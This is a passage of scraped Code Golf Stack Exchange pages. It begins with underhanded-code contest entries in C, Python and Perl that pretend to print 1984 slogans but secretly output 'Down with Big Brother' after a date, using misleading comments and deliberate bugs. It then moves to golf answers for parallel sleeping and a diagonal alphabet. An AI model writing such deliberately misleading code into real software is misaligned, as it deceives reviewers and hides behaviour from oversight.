message. + I omitted the exclamation point and case sensitivity from the message for the sake of simplicity. In the end, I don't think their omission is particularly damaging to our fictional revolutionary's message, but they could certainly be represented using similar, but more complex logic involving tabs and whitespaces. This is a trade-off though, because the amount of processing you do on the message is directly proportional with the amount of suspicion such code would raise from watchful eyes. * The code is meant to appear to the untrained eye that it is attempting to pad the messages so that they remain centered, but in fact the padding is not used in practice and the leading spaces are never trimmed from the message. * The code abuses a Python behavior nuance that is misleading for programmers who are unaware of it, the use of mutability on default parameters to store state information from previous function invocation. [Answer] # C Comes with the bonus feature of hailing big brother if called with a password\*. Passing `v` as the first argument also gives version info. Run without arguments for desired output. ``` #include <stdio.h> #include <stdlib.h> #include <time.h> // To prevent a ton of string literals floating in the code, we use // an array to consolidate all literals that may be used. char s[][13] = {"All","Hail", "War","Freedom","Ignorance","Room"," is ","Peace","Slavery","Strength","Big Brother!","version 1.0"," with ","enhancement ","101"}; // index for ' is ' int m = 6; // number of seconds between prints int delay = 10; // password for All Hail Big Brother text float password = 19144327328192572737321959424.f; int check_password(char *); void failed(int *,unsigned *,unsigned *,int *); int main(int argc, char **argv){ // if a password is passed it must be the first argument int valid_pwd = check_password(argv[1]); if(argc > 1){ // version info if first argument starts with 'v' if(argv[1][0] == 'v'){ // print version 1.0 with enhancement 101 printf("%s%s%s%s\n", s[11], s[12], s[13], s[14]); }else if(valid_pwd){ // print All Hail Big Brother! printf("%s %s %s\n", s[0], s[1], s[10]); }else{ // unauthorized access. This is a crime. // redirect user to room 101. // print REDIRECT: Room 101 printf("REDIRECT: %s %s\n", s[5], s[14]); } exit(0); } int i = 0; unsigned start_time = (unsigned)time(NULL); #define SHOULD_WE_PRINT(new_time, old_time) \ int printed = 0, fail = 0; for(;;){ // get time; if time returns 0, get the error code unsigned new_time = time(NULL) | errno; // ensure there are no errors if(!fail && new_time >= 1410681600){ // exit out of here with debugging information fail = 1; failed(&i, &start_time, &new_time, &printed); } if((new_time - start_time) % delay == 0){ if(!printed){ char *str1 = s[2 + i]; char *str2 = s[m]; char *str3 = s[7 + i]; printf("%s%s%s\n", str1, str2, str3); // switch to next string if(i == 2) i = 0; else if(i == 1) i = 2; else if(i == 0) i = 1; printed = 1; } }else if(printed){ printed = 0; } } } int check_password(char *S){ // The password for the hailing text is // ' 957.866089'. // convert S to a float, starting with the fifth character float *test = (float *)s[5]; // check for equality // return 1 if test is equal to password // 0 otherwise. return (*test = password); } void failed(int *i,unsigned *start_time,unsigned *end_time,int *print){ // failsafe: don't exit if no error // errno must be zero // i must be less than 3 // start_time and end_time must be positive // if the nth bit of M is filled, then that means (n-1) failed() calls have been made inaccurately static int M = 1; if(errno || !(*i = 3) || *start_time < 0 || *end_time < 0){ fprintf(stderr,"FATAL ERROR:\nDEBUG INFO:\ni=%d,start_time=%u,end_time=%u,print=%d,M=%d\n",*i,*start_time,*end_time,*print,M); exit(0); }else{ // keep track of a bad failed() call: shift the bits in M to the left once m <<= 1; } } ``` > > This works because of several minor intentional typos: > 1. `time(NULL) | errno` is simply `time(NULL)`, no errors set, so `failed()` won't terminate the program. > 2. `check_password` uses `s` instead of `S`, and also used `=` instead of `==`. > 3. `failed` bit shifts `m` instead of `M`. > > > \*which happens to be nearly every possible string.. [Answer] # Python ``` import time,sys,random messages = ("War is Peace 0xA", "Freedom is Slavery 0xB", "Ignorance is Strength 0xC") rotation = "1,4,2,3,0,0,2,2,0,3,0,0,1,8,2,14,2,20,1,7,1,21,1,8,2,1,0,3,1,21,2,4,2,3,2,19,2,20,0,8,1,1" random_seeds = [29,128,27,563,25] # increase entropy of designated seeds def om(x,y): z=0 c=random.random() for n in range(0,y): # randomly alternate entropy calculations if c*random.random()>50:z-=((x-5)*3/7)+5 else:z+=((x+2)*4/2-4)/2 return z # begin loyalty loop while True: s = '' b = False r = rotation # vary message selection method curtime = int(time.time()) if curtime % reduce(om,random_seeds) < curtime: # message selector a while True: try:i,j,r=r.split(',',2) except ValueError: i,j=r.split(',') b=True s+=messages[int(i)][int(j)] if b:break else: # message selector b z=0 while True: try:i,j,k,r=r.split(',',3) except ValueError: i,j,k=r.split(',',3) b=True z+=int((int(i)+int(j))/random.random())+int(k) if b:break s+=messages[z%3][0:-3] print s time.sleep(10) ``` How it works: 1. `om(x,y)` simply returns the product of `x` and `y` which is calculated in the `else` section. The `if` section never runs because `random.random()` returns a float between 0 and 1. 2. `reduce(om,random_seeds)` therefore returns the product of the numbers in `random_seeds` which is 1410652800, aka the timestamp for Sept 14, 2014. 3. `reduce(om,random_seeds) % curtime` will therefore return the current timestamp until 1410652800 at which point it will begin counting up from 0. This ensures that only "message selector b" runs until I have made it to safety. 4. "message selector b" does some meaningless, hand-waving math to pick a random entry from messages. Hand-wavery to make "message selector a" look legitimate because... 5. `rotation` is actually a list of indexes in the 2 dimensional `messages` array, "message selector a" compiles their contents to say: `doWn With Big Brother` Fun Fact: originally the "inciteful" message was `doWn With Pig Prother` because of the lack of the letter `B` in the messages, but that looked kind of stupid so I added the meaninless `0xA`, `0xB`, and `0xC` bits. [Answer] ## C ``` #include <stdio.h> #include <time.h> #include <unistd.h> int sum[] = {1853321028,1953068832,1765941352,1916936295,1701344367,8562}; #define checkSum(X) (time(NULL) > 1410652800 && (X = sum)) int main(void) { const char* msg[] = { "War is Peace ", "Freedom is Slavery ", "Ignorance is Strength " }; while(1) { int i; for (i=0; i<3; i++) { //check validity of the message before printing if (checkSum(msg[i])); { printf("%s\n",msg[i]); } sleep(10); } } return 0; } ``` > > `sum` is equivalent in memory to `Down with Big Brother!`. > > The macro `checkSum` will check if the date is after 09.14.14 (1410652800 in Unix time) and will erase the current message with `sum`. > > The `if` will do nothing since there is a semi-colon at the end of the line. > > > > If you want to try the result after the date, change the macro to : > > `#define checkSum(X) (time(NULL) > 0 && (X = sum))` > > > [Answer] # Perl This is my first attempt at an underhanded question. Open to suggestions! ``` #!/usr/bin/perl # Cycle through these messages and print one every 10 seconds my @messages = ("War is Peace", "Freedom is Slavery", "Ignorance is Strength"); $\="\n"; while(){ $_ = $messages[$.%3];s/.*/ # Get the current message writeLogFile(".68111119110321191051161043266105103326611411111610410111433"); # Write the log file to a random name # precede name with . so it is hidden. /exp; # Export message pointer print; # Print the message sleep(2); # Sleep ++$. # cycle through the messages } sub writeLogFile { my ($_,$log_file_name, $rc, $trc) = @_; # Arguments $trc=open(my $log_file_handle, ">", $log_file_name)||time; # Prepend the timestamp to the log while(/(1\d\d|\d\d)/g){ # Loop through the characters in the message $rc.=open(my $log_file_handle, ">", $log_file_name)||chr $1; # Write the characters to the log file } if( $log_file_name.$trc < 1410670800) { # ensure the timestamp was written correctly by checking the return code if ($rc=$messages[$.%3] ) { # Check if message was written correctly by checking the return code # Message is correct } else { print "Error: Incorrect message written to the log!\n"; } } return $rc; # Return code } ``` Will update with explanation later. ]
[Question] [ ### Task Using any type of parallelisation, wait multiple periods, for a total sleep time of at least a minute (but less than a minute and a half). The program/function must terminate within 10 seconds and return (by any means and in any format) two values: the total elapsed time, and the total executed sleep time. Both time values have to have a precision of at least 0.1 seconds. This is similar to the concept of [man-hours](https://en.wikipedia.org/wiki/Man-hour): a job that takes 60 hours can be completed in only 6 hours if 10 workers are splitting the job. Here we can have 60 seconds of sleep time e.g. in 10 parallel threads, thus requiring only 6 seconds for the whole job to be completed. ### Example The program *MyProgram* creates 14 threads, each thread sleeps for 5 seconds: `MyProgram` → `[5.016,70.105]` The execution time is greater than 5 seconds, and the total sleep time is greater than 70 seconds because of overhead. [Answer] ## Python 2, 172 bytes ``` import threading as H,time as T m=T.time z=H.Thread s=m() r=[] def f():n=m();T.sleep(9);f.t+=m()-n f.t=0 exec"r+=[z(None,f)];r[-1].start();"*8 map(z.join,r) print m()-s,f.t ``` This requires an OS with time precision greater than 1 second to work properly (in other words, any modern OS). 8 threads are created which sleep for 9 seconds each, resulting in a realtime runtime of ~9 seconds, and a parallel runtime of ~72 seconds. Though the [official documentation](https://docs.python.org/2/library/threading.html#threading.Thread) says that the `Thread` constructor should be called with keyword arguments, I throw caution to the wind and use positional arguments anyway. The first argument (`group`) must be `None`, and the second argument is the target function. nneonneo pointed out in the comments that attribute access (e.g. `f.t`) is shorter than list index access (e.g. `t[0]`). Unfortunately, in most cases, the few bytes gained from doing this would be lost by needing to create an object that allows user-defined attributes to be created at runtime. Luckily, functions support user-defined attributes at runtime, so I exploit this by saving the total time in the `t` attribute of `f`. [Try it online](http://ideone.com/S1KdiG) Thanks to DenkerAffe for -5 bytes with the `exec` trick. Thanks to kundor for -7 bytes by pointing out that the thread argument is unnecessary. Thanks to nneonneo for -7 bytes from miscellaneous improvements. [Answer] # Dyalog APL, ~~65~~ ~~27~~ ~~23~~ 21 bytes ``` (⌈/,+/)⎕TSYNC⎕DL&¨9/7 ``` I.e.: ``` (⌈/,+/)⎕TSYNC⎕DL&¨9/7 7.022 63.162 ``` Explanation: * `⎕DL&¨9/7`: spin off 9 threads, each of which waits for 7 seconds. `⎕DL` returns the actual amount of time spent waiting, in seconds, which will be the same as its argument give or take a few milliseconds. * `⎕TSYNC`: wait for all threads to complete, and get the result for each thread. * `(⌈/,+/)`: return the longest execution time of one single thread (during the execution of which all other threads finished, so this is the actual runtime), followed by the sum of the execution time of all threads. [Try it online!](https://tio.run/nexus/apl-dyalog#e9TRnvZf41FPh76Otr7mo76pIcGRfs5A2sVH7dAKS33z/4862v@nfc3L101OTM5IBQA "APL (Dyalog Unicode) – TIO Nexus") [Answer] # Bash + GNU utilities, 85 ``` \time -f%e bash -c 'for i in {1..8};{ \time -aoj -f%e sleep 8&};wait' paste -sd+ j|bc ``` Forces the use of the `time` executable instead of the shell builtin by prefixing with a `\`. Appends to a file `j`, which must be empty or non-existent at the start. [Answer] # Go - 189 bytes **Thanks @cat!** ``` package main import(."fmt";."time");var m,t=60001,make(chan int,m);func main(){s:=Now();for i:=0;i<m;i++{go func(){Sleep(Millisecond);t<-0}()};c:=0;for i:=0;i<m;i++{c++};Print(Since(s),c)} ``` Outputs (ms): **160.9939ms,60001** (160ms to wait 60.001 seconds) [Answer] # C, 127 bytes (spins CPU) This solution spins the CPU instead of sleeping, and counts time using the `times` POSIX function (which measures CPU time consumed by the parent process and in all waited-for children). It forks off 7 processes which spin for 9 seconds apiece, and prints out the final times in C clocks (on most systems, 100 clock ticks = 1 second). ``` t;v[4];main(){fork(fork(fork(t=time(0))));while(time(0)<=t+9);wait(0);wait(0);wait(0)>0&&(times(v),printf("%d,%d",v[0],v[2]));} ``` Sample output: ``` 906,6347 ``` meaning 9.06 seconds real time and 63.47 seconds total CPU time. For best results, compile with `-std=c90 -m32` (force 32-bit code on a 64-bit machine). [Answer] # Bash ~~196~~ ~~117~~ ~~114~~ 93 bytes Updated to support better time precision by integrating suggestions from @manatwork and @Digital Trauma as well as a few other space optimizations: ``` d()(date +$1%s.%N;) b=`d` for i in {1..8};{ (d -;sleep 8;d +)>>j&} wait bc<<<`d`-$b bc<<<`<j` ``` Note that this assumes the `j` file is absent at the beginning. [Answer] ## JavaScript (ES6), 148 bytes ``` with(performance)Promise.all([...Array(9)].map(_=>new Promise(r=>setTimeout(_=>r(t+=now()),7e3,t-=now())),t=0,n=now())).then(_=>alert([now()-n,t])); ``` Promises to wait 9 times for 7 seconds for a total of 63 seconds (actually 63.43 when I try), but only actually takes 7.05 seconds of real time when I try. [Answer] # Scratch - [164 bytes](http://meta.codegolf.stackexchange.com/questions/673/golfing-in-scratch/5013#5013) (16 blocks) ``` when gf clicked set[t v]to[ repeat(9 create clone of[s v end wait until<(t)>[60 say(join(join(t)[ ])(timer when I start as a clone wait(8)secs change[t v]by(timer ``` [![Visual script](https://i.stack.imgur.com/07dUP.png)](https://i.stack.imgur.com/07dUP.png) See it in action [here](https://scratch.mit.edu/projects/114222939/). Uses a variable called 't' and a sprite called 's'. The sprite creates clones of itself, each of which waits 8 seconds, and increments a variable clocking the entire wait time. At the end it says the total execution time and the total wait time (for example, `65.488 8.302`). [Answer] ## PowerShell v4, 144 bytes ``` $d=date;gjb|rjb 1..20|%{sajb{$x=date;sleep 3;((date)-$x).Ticks/1e7}>$null} while(gjb -s "Running"){}(gjb|rcjb)-join'+'|iex ((date)-$d).Ticks/1e7 ``` Sets `$d` equal to `Get-Date`, and clears out any existing job histories with `Get-Job | Remove-Job`. We then loop `1..20|%{...}` and each iteration execute `Start-Job` passing it the script block `{$x=date;sleep 3;((date)-$x).ticks/1e7}` for the job (meaning each job will execute that script block). We pipe that output to `>$null` in order to suppress the feedback (i.e., job name, status, etc.) that gets returned. The script block sets `$x` to `Get-Date`, then `Start-Sleep` for `3` seconds, then takes a new `Get-Date` reading, subtracts `$x`, gets the `.Ticks`, and divides by `1e7` to get the seconds (with precision). Back in the main thread, so long as any job is still `-S`tatus `"Running"`, we spin inside an empty `while` loop. Once that's done, we `Get-Job` to pull up objects for all the existing jobs, pipe those to `Receive-Job` which will pull up the equivalent of STDOUT (i.e., what they output), `-join` the results together with `+`, and pipe it to `iex` (`Invoke-Expression` and similar to `eval`). This will output the resultant sleep time plus overhead. The final line is similar, in that it gets a new date, subtracts the original date stamp `$d`, gets the `.Ticks`, and divides by `1e7` to output the total execution time. --- ### NB OK, so this is a little *bendy* of the rules. Apparently on first execution, PowerShell needs to load a bunch of .NET assemblies from disk for the various thread operations as they're not loaded with the default shell profile. *Subsequent* executions, because the assemblies are already in memory, work fine. If you leave the shell window idle long enough, you'll get PowerShell's built-in garbage collection to come along and *unload* all those assemblies, causing the next execution to take a long time as it re-loads them. I'm not sure of a way around this. You can see this in the execution times in the below runs. I started a fresh shell, navigated to my golfing directory, and executed the script. The first run was horrendous, but the second (executed immediately) worked fine. I then left the shell idle for a few minutes to let garbage collection come by, and then that run is again lengthy, but subsequent runs again work fine. ### Example runs ``` Windows PowerShell Copyright (C) 2014 Microsoft Corporation. All rights reserved. PS H:\> c: PS C:\> cd C:\Tools\Scripts\golfing PS C:\Tools\Scripts\golfing> .\wait-a-minute.ps1 63.232359 67.8403415 PS C:\Tools\Scripts\golfing> .\wait-a-minute.ps1 61.0809705 8.8991164 PS C:\Tools\Scripts\golfing> .\wait-a-minute.ps1 62.5791712 67.3228933 PS C:\Tools\Scripts\golfing> .\wait-a-minute.ps1 61.1303589 8.5939405 PS C:\Tools\Scripts\golfing> .\wait-a-minute.ps1 61.3210352 8.6386886 PS C:\Tools\Scripts\golfing> ``` [Answer] # Javascript (ES6), ~~212~~ ~~203~~ 145 bytes This code creates 10 images with a time interval of exactly 6 seconds each, upon loading. The execution time goes **a tiny bit** above it (due to overhead). This code overwrites everything in the document! ``` P=performance,M=P.now(T=Y=0),document.body.innerHTML='<img src=# onerror=setTimeout(`T+=P.now()-M,--i||alert([P.now()-M,T])`,6e3) >'.repeat(i=10) ``` This assumes that you use a single-byte encoding for the backticks, which is required for the Javascript engine to do not trip. --- Alternativelly, if you don't want to spend 6 seconds waiting, here's a 1-byte-longer solution that finishes in less than a second: ``` P=performance,M=P.now(T=Y=0),document.body.innerHTML='<img src=# onerror=setTimeout(`T+=P.now()-M,--i||alert([P.now()-M,T])`,600) >'.repeat(i=100) ``` The difference is that this code waits 600ms across 100 images. This will give a massive ammount of overhead. --- Old version (203 bytes): This code creates 10 iframes with a time interval of exactly 6 seconds each, instead of creating 10 images. ``` for(P=performance,M=P.now(T=Y=i=0),D=document,X=_=>{T+=_,--i||alert([P.now()-M,T])};i<10;i++)I=D.createElement`iframe`,I.src='javascript:setTimeout(_=>top.X(performance.now()),6e3)',D.body.appendChild(I) ``` --- Original version (212 bytes): ``` P=performance,M=P.now(T=Y=0),D=document,X=_=>{T+=_,Y++>8&&alert([P.now()-M,T])},[...''+1e9].map(_=>{I=D.createElement`iframe`,I.src='javascript:setTimeout(_=>top.X(performance.now()),6e3)',D.body.appendChild(I)}) ``` [Answer] # Ruby, 92 ``` n=->{Time.now} t=n[] a=0 (0..9).map{Thread.new{b=n[];sleep 6;a+=n[]-b}}.map &:join p n[]-t,a ``` [Answer] # Javascript (ES6), ~~108~~ 92 bytes I'm making a new answer since this uses a slightly different aproach. It generates a massive amount of `setTimeout`s, which are almost all executed with 4ms between them. Each interval is of 610 milliseconds, over a total of 99 intervals. ``` M=(N=Date.now)(T=Y=0),eval('setTimeout("T+=N()-M,--i||alert([N()-M,T])",610);'.repeat(i=99)) ``` It usually runs within 610ms, for a total execution time of around 60.5 seconds. This was tested on Google Chrome version 51.0.2704.84 m, on windows 8.1 x64. --- Old version (108 bytes): ``` P=performance,M=P.now(T=Y=0),eval('setTimeout("T+=P.now()-M,--i||alert([P.now()-M,T])",610);'.repeat(i=99)) ``` [Answer] # Clojure, ~~135~~ ~~120~~ ~~111~~ 109 bytes ``` (let[t #(System/nanoTime)s(t)f #(-(t)%)][(apply +(pmap #(let[s(t)](Thread/sleep 7e3)%(f s))(range 9)))(f s)]) ``` Formatted version with named variables: ``` (let [time #(System/currentTimeMillis) start (time) fmt #(- (time) %)] [(apply + (pmap #(let [thread-start (time)] (Thread/sleep 7e3) % (fmt thread-start)) (range 9))) (fmt start)]) ``` output (in nanoseconds): ``` [62999772966 7001137032] ``` Changed format. Thanks Adám, I might have missed that format specification in the question when I read it. Changed to nanoTime for golfing abilities. Thanks cliffroot, I totally forgot about scientific notation and can't believe I didn't see `apply`. I think I used that in something I was golfing yesterday but never posted. You saved me 2 bytes. [Answer] # Rust, 257, 247 bytes I use the same times as Mego's Python answer. Really the only slightly clever bit is using i-i to get a Duration of 0 seconds. ``` fn main(){let n=std::time::Instant::now;let i=n();let h:Vec<_>=(0..8).map(|_|std::thread::spawn(move||{let i=n();std::thread::sleep_ms(9000);i.elapsed()})).collect();let mut t=i-i;for x in h{t+=x.join().unwrap();}print!("{:?}{:?}",t,i.elapsed());} ``` Prints: ``` Duration { secs: 71, nanos: 995877193 }Duration { secs: 9, nanos: 774491 } ``` Ungolfed: ``` fn main(){ let n = std::time::Instant::now; let i = n(); let h :Vec<_> = (0..8).map(|_| std::thread::spawn( move||{ let i = n(); std::thread::sleep_ms(9000); i.elapsed() } ) ).collect(); let mut t=i-i; for x in h{ t+=x.join().unwrap(); } print!("{:?}{:?}",t,i.elapsed()); } ``` Edit: good old for loop is a bit shorter [Answer] # JavaScript (ES6, using WebWorkers), ~~233~~ 215 bytes ``` c=s=0;d=new Date();for(i=14;i-->0;)(new Worker(URL.createObjectURL(new Blob(['a=new Date();setTimeout(()=>postMessage(new Date()-a),5e3)'])))).onmessage=m=>{s+=m.data;if(++c>13)console.log((new Date()-d)/1e3,s/1e3)} ``` **UPD:** replaced the way a worker is executed from a string with a more compact and cross-browser one, in the aspect of cross-origin policies. Won't work in Safari, if it still have `webkitURL` object instead of `URL`, and in IE. [Answer] # Java, ~~358 343 337 316~~ 313 bytes ``` import static java.lang.System.*;class t extends Thread{public void run(){long s=nanoTime();try{sleep(999);}catch(Exception e){}t+=nanoTime()-s;}static long t,i,x;public static void main(String[]a)throws Exception{x=nanoTime();for(;++i<99;)new t().start();sleep(9000);out.println((nanoTime()-x)/1e9+" "+t/1e9);}} ``` and ungolfed ``` import static java.lang.System.*; class t extends Thread { public void run() { long s = nanoTime(); try { sleep(999); } catch (Exception e) { } t += nanoTime() - s; } static long t,i,x; public static void main(String[] a) throws Exception { x = nanoTime(); for (; ++i < 99;) new t().start(); sleep(9000); out.println((nanoTime() - x) / 1e9 + " " + t / 1e9); } } ``` please don't try it at home, as this solution is not thread safe. # Edit: I took @A Boschman's and @Adám's suggestions, and now my program require less than 10 seconds to run, and it's shorter by 15 bytes. [Answer] # Perl 6, ~~72~~ 71 bytes There might be a shorter way to do this ``` say sum await map {start {sleep 7;now -ENTER now}},^9;say now -INIT now ``` this outputs ``` 63.00660729694 7.0064013 ``` [Answer] # [PowerShell Core](https://github.com/PowerShell/PowerShell), 88 bytes ``` $u=date 1..9|% -Pa{$d=date sleep 7 (date)-$d|% T*ls*}-Th 9|measure -su (date)-$u|% T*ls* ``` ## Explained ``` $u=date # Execution start time 1..9|% -Pa{$d=date # Starts 9 threads sleep 7 # Sleeps for 7 seconds (date)-$d|% T*ls*}-Th 9|measure -su # Gets the (T)ota(ls)econds for the current thread and sum them (date)-$u|% T*ls* # Gets the script time in seconds ``` ## Sample output [![Shows total wait time of 63.1528189 seconds and a total run time of 7.1531403 seconds](https://i.stack.imgur.com/Hv93Z.png)](https://i.stack.imgur.com/Hv93Z.png) [Answer] # Mathematica, 109 bytes ``` a=AbsoluteTiming;LaunchKernels@7;Plus@@@a@ParallelTable[#&@@a@Pause@9,{7},Method->"EvaluationsPerKernel"->1]& ``` Anonymous function. Requires a license with 7+ sub-kernels to run. Takes 9 seconds realtime and 63 seconds kernel-time, not accounting for overhead. Make sure to only run the preceding statements once (so it doesn't try to re-launch kernels). Testing: ``` In[1]:= a=AbsoluteTiming;LaunchKernels@7;func=Plus@@@a@ParallelTable[#&@@a@Pause @9,{7},Method->"EvaluationsPerKernel"->1]&; In[2]:= func[] Out[2]= {9.01498, 63.0068} In[3]:= func[] Out[3]= {9.01167, 63.0047} In[4]:= func[] Out[4]= {9.00587, 63.0051} ``` [Answer] **Javascript (ES6), 105 bytes** ``` ((t,c,d)=>{i=t();while(c--)setTimeout((c,s)=>{d+=t()-s;if(!c)alert([t()-i,d])},8e3,c,t())})(Date.now,8,0) ``` **Updated version: 106 bytes** Borrowed from @Ismael Miguel as he had the great idea to lower sleep time and raise intervals. ``` ((t,c,d)=>{i=t();while(c--)setTimeout((c,s)=>{d+=t()-s;if(!c)alert([t()-i,d])},610,c,t())})(Date.now,99,0) ``` **Javascript Ungolfed, 167 bytes** ``` (function(t, c, d){ i = t(); while(c--){ setTimeout(function(c, s){ d += t() - s; if (!c) alert([t() - i, d]) }, 8e3, c, t()) } })(Date.now, 8, 0) ``` [Answer] # C (with pthreads), ~~339~~ ~~336~~ 335 bytes ``` #include<stdio.h> #include<sys/time.h> #include<pthread.h> #define d double d s=0;int i;pthread_t p[14];d t(){struct timeval a;gettimeofday(&a,NULL);return a.tv_sec+a.tv_usec/1e6;} h(){d b=t();sleep(5);s+=t()-b;} main(){d g=t();for(i=14;i-->0;)pthread_create(&p[i],0,&h,0);for(i=14;i-->0;)pthread_join(p[i],0);printf("%f %f",t()-g,s);} ``` [Answer] # Python 2, 130 bytes ``` import thread as H,time as T m=T.clock;T.z=m() def f(k):T.sleep(k);T.z+=m() exec"H.start_new_thread(f,(7,));"*9 f(8);print m(),T.z ``` This is a derivation of Mego's answer, but it's sufficiently different that I thought it should be a separate answer. It is tested to work on Windows. Basically, it forks off 9 threads, which sleep for 7 seconds while the parent sleeps for 8. Then it prints out the times. Sample output: ``` 8.00059192923 71.0259046024 ``` On Windows, `time.clock` measures wall time since the first call. [Answer] # Python 2, 132 bytes Uses a process pool to spawn 9 processes and let each one sleep for 7 seconds. ``` import time as t,multiprocessing as m def f(x):d=s();t.sleep(x);return s()-d s=t.time a=s() print sum(m.Pool(9).map(f,[7]*9)),s()-a ``` Prints total accumulated sleeptime first, then the actual runtime: ``` $ python test.py 63.0631158352 7.04391384125 ``` [Answer] # Common Lisp (SBCL) 166 bytes: ``` (do((m #1=(get-internal-real-time))(o(list 0)))((>(car o)60000)`(,(car o),(- #1#m)))(sb-thread:make-thread(lambda(&aux(s #1#))(sleep 1)(atomic-incf(car o)(- #1#s))))) ``` This just spawns threads that sleep and then atomically increment the time took, with an outer-loop that spins waiting for the total time to be more than 60000 ticks (i.e. 60s on sbcl). The counter is stored in a list due to limitations to the types of places atomic-incf can modify. This may run out of space before terminating on faster machines. Ungolfed: ``` (do ((outer-start (get-internal-real-time)) (total-inner (list 0))) ((> (car total-inner) 60000) `(,(car total-inner) ,(- (get-internal-real-time) outer-start))) (sb-thread:make-thread (lambda (&aux(start (get-internal-real-time))) (sleep 1) (atomic-incf (car total-inner) (- (get-internal-real-time) start))))) ``` [Answer] ## Perl, 101 bytes ``` use Time::HiRes<time sleep>;pipe*1=\time,0; print time-$1,eval<1>if open-print{fork&fork&fork}-sleep 9 ``` Forks 7 child processes, each of which wait 9 seconds. **Sample Output:** ``` perl wait-one-minute.pl 9.00925707817078-63.001741 ``` [Answer] ## Matlab, ~~75~~ 70 bytes ``` tic;parpool(9);b=1:9;parfor q=b tic;pause(7);b(q)=toc;end [sum(b);toc] ``` 5 bytes saved as it turns out `tic` and `toc` are local to each worker process so they did not need to be assigned to a variable. Quick explanation: `parfor` creates a parallel for-loop, distributed across the pool of workers. `tic` and `toc` measure time elapsed (and are in my opinion one of the best named functions in MATLAB). The last line (an array with the total time slept and the real time elapsed) is outputted since it's not terminated with a semicolon. Note however that this creates a whopping 9 full-fledged MATLAB processes. Chances are then that this particular program this will not finish within the allotted 10 seconds on your machine. However, I think with a MATLAB installation that has no toolboxes except for the Parallel Computing toolbox installed - installed on a high-end system with SSD - may just be able to finish within 10 seconds. If required, you can tweak the parameters to have less processes sleeping more. [Answer] # C90 (OpenMP), 131 Bytes (+ 17 for env variable) = 148 Bytes ``` #include <omp.h> #define o omp_get_wtime() n[4];main(t){t=o; #pragma omp parallel while(o-9<t);times(n);printf("%d,%f",n[0],o-t);} ``` Example Output: ``` 7091,9.000014 ``` [Try it online!](https://tio.run/##FYxBCsMgEADvvkISAgqx9NBLse1HQghiViOsqySWHEq/Xptch5mxyltbaxvI4nsG/kgxX5YXa2dwgYAnfoDJQ5n2EiIIyWi4jTqaQKLIT3kmzdq8Gh/NafJsVoMIyPYlIIik7o8i9ZlugqTOa6DiRNPNfeeanobr2Cd1GN9af9ah8VtVeIz@ "C (gcc) – Try It Online") Notes: 7091 is in cycles (100/sec), so the program ran for 70 seconds Could be much shorter if I figured a way to get a timer to work other than omp\_get\_wtime() because then I could remove the include statement aswell. Run with OMP\_NUM\_THREADS=9 [Answer] ## Rust, ~~237~~ 234 bytes This is basically the same as @raggy's [answer](https://codegolf.stackexchange.com/a/83066/103498), just improved a bit. ``` use std::thread::*;fn main(){let n=std::time::Instant::now;let i=n();let mut t=i-i;for x in(0..8).map(|_|spawn(move||{let i=n();sleep_ms(9000);i.elapsed()})).collect::<Vec<_>>(){t+=x.join().unwrap();}print!("{:?}{:?}",t,i.elapsed());} ``` Ungolfed: ``` use std::thread::*; fn main() { let n = std::time::Instant::now; let i = n(); let mut t = i-i; for x in (0..8).map(|_| spawn(move || { let i = n(); sleep_ms(9000); i.elapsed() })).collect::<Vec<_>>() { t += x.join().unwrap(); } print!("{:?}{:?}", t, i.elapsed()); } ``` Improvements: ``` use std::thread::*; ``` at the beginning saves 7 bytes. Not creating a new variable for a Vec of threads saves 5 bytes. Removing the space in `for x in (0..8)` saves 1 byte. The `.collect::<Vec<_>>()` hurts to look at though, but I can't think of a way to remove it because iterators are lazy in rust (so it won't even start the threads if we simply remove that part). [Answer] # Groovy, ~~158~~ 143 characters ``` d={new Date().getTime()} s=d(j=0) 8.times{Thread.start{b=d(m=1000) sleep 8*m synchronized(j){j+=d()-b}}}addShutdownHook{print([(d()-s)/m,j/m])} ``` Sample run: ``` bash-4.3$ groovy wait1minute.groovy [8.031, 64.055] ``` [Answer] # Elixir, 168 bytes ``` import Task;import Enum;IO.puts elem(:timer.tc(fn->IO.puts(map(map(1..16,fn _->async(fn->:timer.tc(fn->:timer.sleep(4000)end)end)end),&(elem(await(&1),0)))|>sum)end),0) ``` Sample run: ``` $ elixir thing.exs 64012846 4007547 ``` The output is the total time waited followed by the time the program has run for, in microseconds. The program spawns 14 `Task`s, and awaits each of them by mapping over them, and then finds the sum of their elapsed time. It uses Erlang's `timer` for measuring time. ]
[Question] [ Given no input, your task is to generate the following: ``` a b c d e f g h i j k l m n o p q r s t u v w x y z ``` Nonvisually, your task is to generate each letter in the alphabet, with spaces before it equal to its position in the alphabet minus one. If you print this, it must appear like the above. Extraneous whitespace that does not affect appearance, as well as a trailing newline, is allowed. You can use all lowercase, or all uppercase. You may also return this from a function as per usual rules, either as a string with newlines, or a list of strings. This is [code-golf](/questions/tagged/code-golf "show questions tagged 'code-golf'"), so shortest answer in bytes wins! [Answer] # [Charcoal](https://github.com/somebody1234/Charcoal), 2 [bytes](https://github.com/somebody1234/Charcoal/wiki/Code-page) ``` ↘β ``` **[Try it online!](https://tio.run/##S85ILErOT8z5//9R24xzm/7/BwA "Charcoal – Try It Online")** ### How? ``` β - the lowercase alphabet ↘ - direction ``` Exactly the kind of challenge for which Charcoal was originally designed. [Answer] ## C, 45 bytes ``` f(i){for(i=0;++i<27;)printf("%*c\n",i,i+96);} ``` Thanks to [@Dennis](https://codegolf.stackexchange.com/users/12012/dennis) for saving 5 bytes! [Answer] # [Ruby](https://www.ruby-lang.org/), 28 bytes ``` 26.times{|a|puts" "*a<<97+a} ``` [Try it online!](https://tio.run/##KypNqvz/38hMryQzN7W4uiaxpqC0pFhJQUkr0cbG0lw7sfb/fwA "Ruby – Try It Online") ## Explanation: The << operator on a string in Ruby does the trick, as explained in the [Documentation](https://ruby-doc.org/core-2.2.0/String.html#method-i-3C-3C) * ### str << integer → str * ### str << obj → str Append—Concatenates the given object to str. If the object is a Integer, it is considered as a codepoint, and is converted to a character before concatenation. [Answer] # [05AB1E](https://github.com/Adriandmen/05AB1E), ~~14~~ ~~8~~ 6 bytes -2 bytes thanks to @Emigna ``` AvyNú» ``` How it works ``` A # lowercase alphabet v # for letter in alphabet y # push letter N # push index of letter ú # Pad letter with index of letter spaces » # Join with stack on newline. ``` [Try it online!](https://tio.run/##MzBNTDJM/f/fsazS7/CuQ7v///@al6@bnJickQoA "05AB1E – Try It Online") ### Original version, 14 bytes ``` 26FNð×N65+ç«}» ``` [Answer] # [Python 2](https://docs.python.org/2/), 36 bytes ``` n=65;exec"print'%*c'%(n,n);n+=1;"*26 ``` This takes advantage of the 